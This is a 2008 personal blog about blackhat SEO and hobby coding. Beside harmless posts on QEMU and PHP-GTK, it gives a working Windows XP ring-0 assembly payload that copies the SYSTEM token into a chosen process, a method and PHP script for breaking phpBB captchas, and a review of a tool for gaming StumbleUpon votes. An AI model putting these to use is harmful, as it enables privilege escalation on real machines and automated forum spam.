Autostumble Review

Quite a while back, Mark from digeratimarketing.co.uk asked me to review his software autostumble. In the meantime I’ve been messing with it and seeing what it can do. WARNING: Mark didn’t pay for this review so I’m gonna be totally honest :D

So to start…

What does it do? It’s a database of stumblers who exchange stumbles with you without you begging them for a stumble, kidnapping their close relations, or manually stumbling at a stumbleexhcange place. It sits in your **windoze** task bar. (And yes that does mean it refuses to run in Linux) It’s a ridiculously light program though so you can run it in a vm fine.

Unfortunately I haven’t actually used stumbleupon before because it doesn’t make sense to me. I can understand how digg works, and sphinn, and del.icio.us. But stumbleupon has a toolbar, and I don’t normally trust anything with a toolbar ;) . So in the course of using the software I fecked it up because I hadn’t reviewed my URL and my votes went into the void of cyberspace. The software doesn’t check or notify you if you make a stupid mistake like that. On the other hand there’s only a few of boxes so there’s not many places you can screw up. I just managed to find probably the only one. To be honest if you have half an idea about stumbleupon it’s easy to figure out, just make sure you submit your url to stumbleupon before exchanging stumbles with the program. Doh!

So the page I promoted. Well it has days of nothing and then all of a sudden traffic in a couple of days, but that’s probably explained by my complete screw up. I stumbled the same URL after Mark fixed the database up so it was getting old as an entry and I don’t know if that counts for anything.

You also have to tailor your content for the audience. It’s an obvious one but you’re not promoting to your normal website audience, it’s got to really hit a nerve with the stumbleupon crowd. Now I have yet to discover exactly what makes them tick and I think my page may have lacked something in that direction.

Worth £10/$20 soon going up to £20/$40? I never reached the full potential of this program. I plan to have another go mind you. I’d say it’s definitely worth the price of what is basically a quarter of what you might spend filling your car up for something that will still be there whenever you have an idea and want another way of promoting it.

I reckon if it does gain a *lot* of users over time that could increase your competition, and stumbleupon may notice that their algorithm is being subverted and change it. So I’d recommend buying it early now before he promotes like a madman. That way you get the bonus of being in early and if it does continue to work you don’t pay anything extra.

DigeratiMarketing Site

May 31st, 2008, posted by Harry

10 bloggers that rock

10 bloggers who post real info.

NickyCakes @ NickyCakes.com - The (mostly) reformed blackhat. What does that mean?!? I’m a mostly reformed alcoholic. Is that the same sort of thing? Moeshtly Reformshed, I aaaam. At the very least he’ll rickroll you.

Paul @ UberAffiliate.com - The victim/reason for Nickycakes arguments? Nickycakes and Paul like to act like an arguing married couple on wickedfire.com. The nice guy of affiliate marketing.

Wickedfire.com - Not really a blogger. More like a busy place where affiliate marketers hang out and play pool whilst talking about affiliate tips amonst other things. I’d go there again but I forgot my username and password. :D

XCMP @ Slightly Shady SEO - Slightly shady? Who is he trying to kid? If he’s slightly shady, what are the shady people doing?

Quadszilla @ SeoBlackhat.com - If websites wore clothes his would have a suit and shades. I wouldn’t want to meet his website in a dark alley. It’s that overpowering blackness, I often feel like I’m going to get sucked into it. Which reminds me of something I’ve always wanted to do. Join a company that does videoconferencing just so I can sit behind the monitor doing the “trapped in a box” impression. You know the one where you put your hands out and look surprised as they hit some kind of force field. Yeah, I’d probably get fired but it’d be worth it.

Eli @ BluehatSeo.com - Apparently black and white isn’t good enough for Eli. He likes to think in (shades of?) blue. Personally I think it’s discriminatory against colour blind people. Come on Eli, these are the days of political correctness.

Ed @ BlackHatDigest.com - This guy’s blog has some golden nuggets in there. He’s labeled it the dark side for newbies.

Smaxor @ OOOFF.com - Smaxor must have fallen asleep on his keyboard only to realise he’d just registered the most random domain name ever. The ensuing moments were probably along the lines of “oh shit, what shall I do with this? Not again.”. So he starts a blog sharing some of his knowledge to the world.

Lyndon @ CornwallSEO.com - Managed to get FOX news to run a fake news story resulting in 1500+ links in a week (recently at 14,000). That doesn’t make FOX a shit news channel though. You only have to read the abuse he got to realise it was Lyndon’s unethical practices that are the issue. No wait… This just in… FOX are in fact… a shit news channel. Funny, but shit.

Harry @ darkseoprogramming.com - Didn’t see this one coming did you ;) ? (So I only had 9 and 10 is a round number… sue me… actually don’t.) Some total moron shares captcha breaking, scraping, and other blackhat seo tools. Also planning to cover some less blackhat seo tools eventually.

Update: I noticed Mark’s comment in the comment box, and I felt bad at all those decent blogs I’ve missed through not remembering. So Mark @ DigeratiMarketing.com posts some damn good shit… and… any blog post that references his site he is amazingly fast at posting to. That bluehatseo.com one he managed to post to first, and that’s a feat. So Mark, forgive me for missing your blog ;)

No more updates, you should have been the first one to say fuck you to me. It won’t work anymore.

May 29th, 2008, posted by Harry

Run Linux in Windows

Probably some of you do this already. If you run windows it can sometimes be pretty difficult to get all the necessary compilers working together with php, apache and so on. Not only that but if you go and buy yourself a dedicated server it will probably be running linux. It makes a lot of sense to know how to use linux and write software that runs on linux.

So the easiest way, and also the free way is to get yourself these two things:

Guide to installing QEMU

SLAMPP ISO - This is linux on a CD

So basically all you do is follow the guide to installing QEMU, make sure it boots from a CD and point that CD to the SLAMPP ISO. You’ll then instantly have a fully working linux OS set up as a test webserver. Don’t write the ISO to a proper CD except as a backup precaution.

Basically when you have QEMU installed I think you can either use the QEMU manager, or the way I do it in linux :D .

qemu -cdrom slampp.iso -hda hardisk.img.qcow -m 256 -boot d

You can remove the -hda hardisk… part but then you won’t be able to save any changes to settings you make.

May 29th, 2008, posted by Harry

Quadszillas SEOBlackhat Challenge Thing

I felt like submitting something for his challenge so here it is on my blog. Go here for the original challenge. Basically it’s just an add your caption to the picture challenge. Here goes nothing.

Challenge 1

Challenge 2

Incidentally the last one I posted just because he looks so damn confused. So I thought maybe his body came with a label. He’s like damn, I never even noticed… Did anyone chuckle? :D

May 20th, 2008, posted by Harry

PHPBB3 Captcha is super easy

PHPbb3 Captcha 2

A while back I presented a long-winded algorithm that would crack phpBB3 captchas. However I cracked it a while back and it’s even simpler than I said before. My floodfill routine returns the size of the area it colours in. Soooo… I flood fill background coloured pixels and if it’s a small area we assume it must be part of a letter and keep it. That gives us lots of small segments to join together.

Incidentally we find the background colour by reading the pixels along the top and finding the most regularly occuring colour.

Now we have some small segments we make them touch each other by blurring them and then we force the picture into only two colours. Then using the average density of vertical lines in each letter we rotate them to an approximately correct position. It may throw a few upside down but as long as that letter always comes out that way up the computer doesn’t care.

Now just train Gocr or a neural network or <<insert cunning program here>> to read those letters. Simple. And surprisingly accurate too. We could further improve it with colour checking routines etc but hey, it works.

May 12th, 2008, posted by Harry

Google Trips Out

This is totally pointless, but I wasn’t aware that this was actually possible until today.

Google Trips Out

If it looks normal for you then I guess it didn’t work.

May 7th, 2008, posted by Harry

Windows XP Ring 0 Kernel Mode Hacking

So you’ve found a vulnerability in Windows XP that drops you into kernel mode and there you are thinking hehehehe (this is an evil laugh) I can do whatever I want. The only issue is you call win32 function after win32 function only to realise that in ring 0 kernel mode you can’t do dick. After the tenth reset of your PC you realise that you have to be in ring 3 to actually run any proper code. So you play around and you find out that you can modify memory and change a few strings. Ohhhh, the power! You can change some strings. This is pointless.

You read up on some kernel mode functions and you find out that the SYSENTER and SYSCALL commands can be used to enter some kernel functions that will give you basic disk access. However if you use the wrong command on the wrong processor it will probably crash. It’s a start but it’s a heck of a lot of code checking for the correct processor type and then actually to get it to do anything useful. You can’t just access files in the normal way and you can bet if we try and allocate some heap memory it will… crash… again. And then you think yep, of course it will, heap memory allocation is carried out by win32 api functions which run in ring 3 user mode. Fuck it!

So here’s the answer. It took me ages to find this and get it to compile. At fs:[0×124] in windows xp there just so happens to be an array. I forget exactly how it’s laid out but it has all the processes running in it along with… the user running the process. By default there is normally two users at least. SYSTEM and the current running user. SYSTEM has full access to everything. I like the sound of that. Now process number ID 4 in windows xp is always running as SYSTEM. As long as we know the process ID of a process we would like to run as SYSTEM we can just copy the user ID token into our preferred process. Here it goes, my compiler wouldn’t accept all the comments, and I’ve had to put them back…:

pushad

; get the start of the structure into eax
mov eax,dword ptr fs:[0×124]
mov eax,[eax+0×44]
push eax

s1:
mov eax,[eax+0×88]
sub eax,0×88
; Process ID 4 has the SYSTEM privilege token
cmp [eax+0×84],4
; if this process isn’t ID 4 check the next one
jne s1

; rip out the SYSTEM token
mov edi,[eax+0xC8]
and edi,0xfffffff8

; this assumes we are running a c program with a integer called elevpid
mov ebx, _elevpid

s2:
; keep moving down the process list
mov eax,[eax+0×88]
sub eax,0×88
; this is our process id we want to be SYSTEM
cmp [eax+0×84],ebx
jne s2

; copy the user token into our own process
mov [eax+0xC8],edi

pop eax

popad

Oh yeah and don’t enter the wrong process ID into this. It will keep scanning through memory until it runs out of memory to scan. And ring 0 is really not a place you want to get stuck in an infinite loop.

April 29th, 2008, posted by Harry

PHP GTK 2

Last time I said I would be writing a Java application. My idea was take some of these php scripts and group them into something that is easier to use for beginners that runs on the desktop.

However… I got to thinking. I said PHP is a powerful language, and is the only language you really need to write some truly powerful applications. So I’m going to write a PHP application that runs not from a web server or the command line but starts up a proper window.

OK, so lets get to this. You need:

Glade (to design the window)
GTK+ windows runtimes (unless you run Linux)
PHP 5 with php_gtk2 extension
My PHP GTK scripts (extract them into the same directory as the php 5 install and then double click start.bat)

You got all those? OK fire up glade and create a window that is to your liking. Like mine below. It will save as something.glade which will be some XML for creating the window.

PHP GTK2 App

Now this is the PHP to create a window… I call it glade_win.php

<?php

// load php gtk2 in
if (!extension_loaded(’php_gtk’)) {
if (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’) {
dl(’php_gtk2.dll’);
} else {
dl(’php_gtk2.so’);
}
}

// load the window from our glade .xml file
$glade =& new GladeXML( dirname( __FILE__) . “/wndMain.glade”);

// make sure the window closes when we click close
$glade->get_widget(’wndMain’)->connect_simple(’destroy’, array(’Gtk’, ‘main_quit’));

// execute the gtk main function
gtk::main();

?>

This couldn’t be any more simple. The first bit is necessary to load the DLL in because when it runs on my Linux install it destroys my web server if it has php_gtk2 turned on by default.

The next part creates an object that loads in the XML. We then connect the close button i.e. the cross at the top right hand corner to a quit routine, and then gtk::main(); runs the necessary code to view the window.

My window XML is in my scripts zip. It should give an idea of where I am going with this :D . Hopefully that all worked smoothly for you.

April 23rd, 2008, posted by Harry

Book List

Before I post my next post I’m going to make a little list of books which I think are amazing reading.

Persuasion
==========

I find this stuff amazing, there’s only one book I recommend but here’s why. It’s literally a study of the way people react under very similar situations with perhaps a small change to the way you phrase something, with statistics on the differing reactions of groups of people to the new phrase. For instance foot in the door technique is the process of making a small request such as to sign a piece of paper to show they support they would support the local blood bank, and then asking if they would now be intereted in donating blood. On average it is likely to increase the response rate by around 10% to asking the second question only. This is the type of thing this book is about.

Sales/Marketing
===============

I think learning this stuff is essential if you’re doing anything PPC or generally advertisement related. And it’s also extremely interesting.

I recommend this book for the simple reason that the guy who wrote it sold over 20 million pairs of blublocker sunglasses. He must know something about his trade. I’ve read some reviews on this book by people saying it’s only good for direct response. They’re right but PPC and the web is very similar to direct response marketing. Now you could walk into PPC or advertising totally blind without a clue what you’re doing and pick everything up as you go along but when you’re putting hundreds of dollars of your own money on the line you’ll admit that’s a little more than scary? In this book Joesph Sugarman writes about his experiences in producing effective sales copy which should give you a good grounding. Most of the reviews on this book praise it pretty highly.

Coding Techniques
=================

These are intense reading about very defined topics. You’re going to need a ton of caffeine but I’d be amazed if you don’t come away feeling like you’ve truly learned something. (At the moment there is only one in this section but I will probably add more :D )

Natural Language Processing is extremely interesting because it involves the computer attempting to give the impression of being able to talk as if it understood the world it is trying to describe. http://en.wikipedia.org/wiki/Natural_language_processing explains the basics of it. The fundamentals of natural language generation involve taking some basic information and forming a natural sounding sentence from it. To do this we can use statistics to analyze the probability of a word appearing after a word or set of words. There are markov classes on the Internet which use basic statistics to rewrite content. It’s a complicated subject by any stretch of the word.

PHP Newbies
===========

If you are new to coding I suggest you only learn one language, PHP. With PHP you will be able to do almost everything you will ever need to and you will be able to write powerful database applications on the web as well as write scripts that run on your own desktop. I think there is only one way to learn to code. Promise yourself to write a little script and work on it until you pull it off. A book is useful to grasp the basics and act as a reference so you don’t have to google every two minutes.

Social Engineering
==================

How to break through many impenetrable security systems with simple phone calls. Certainly makes you think. The whole of the book describes building trust with members staff by gaining different small pieces of information from different departments/staff until the product of that information supplies you with enough credibility that they will believe you are who you say you are. I don’t recommend or do any of this :D it’s just an interesting read.

Next post will be the Java thing.

April 17th, 2008, posted by Harry

Instant GOCR Training

A while back I said you *may* be able to train GOCR to recognise PHPBB2 captchas instantly thanks to its excellent database layout. Now for the moment of truth. Several hours later after travelling through much shrubbery with only my trusty whip and bent fedora for company (I think I may be insane but I don’t have the paper to prove it or the jacket)…

It works. The only downside is if you fill the database with too many characters it is very likely to slow GOCR down immensely. So go easy and possibly try and remove too many duplicates of the same letter.

So here’s how it works, inside the custom database directory is a file called db.lst. This file is literally just a list of pictures with their correct answer as seen below (note this is my custom database, normally it names the files sensible names :D ):

30402199be694d0330735cb3de4df778.pbm G
852f04abf55c904fdb977dc297c630ec.pbm Z
1cbc984624ca1673132afead5d6f518a.pbm G
297a35232ba803cd6675a38a29453828.pbm D

The first entry is the filename, and it can literally be any pbm/png file. The second entry is the correct letter. That simple. All we have to do is rip the letters out and put them in the same directory. Unfortunately I haven’t got the script cleaned in a nice easy to use format to just download, but I’ll post what I used to build my custom database very quickly. I use the retrieve.php include which is somewhere on this site. I should be more organised. I think it’s here.

Now this code is written to run on Windows/Linux so it uses png files because we can’t export pbm files from GD in php. It was either that or have the script not work in Windows at all. All you Linux folks can easily convert them to pbm files and do it the way it’s supposed to be done. (The script runs from the command line only… like this… “php script.php answer.txt captcha.png”) (Also I just thought… Make sure you have the directory ‘data’ in the same directory as you run the script. Don’t run the script from the ‘data’ directory but the directory just above it)

<?php

require_once(”retrieve.php”);

// extract the letters out
$letters = get_letter_array($argv[$argc-1]);

// get the answer to the captcha
$fp = fopen($argv[$argc-2], “r”) or die(”Need a solved answer in ” . $argv[$argc-2]);
$str_answer = fgets($fp);
fclose($fp);
$answer = str_split($str_answer);

// give them unique names and save them in .png format
$unique_name = array();
for($index=0; $index<count($letters); $index++)
{
$unique_name[] = md5(uniqid());
imagepng($letters[$index], “data/” . $unique_name[$index] . “.png”);
}

// link them from the db.lst file
$fp = fopen(”data/db.lst”, “a”);
for($index=0; $index<count($letters); $index++)
{
fwrite($fp, $unique_name[$index] . “.png ” . $answer[$index] . “\n”);
}
fclose($fp);

?>

And now for some link love to the spamhuntress.

I actually have a plan in mind for my next post, which is damn unusual. I’ll let you know how it goes in several days time :D . Oh yeah and it’ll be in Java so it’ll run nicely on your Windows install too.

April 16th, 2008, posted by Harry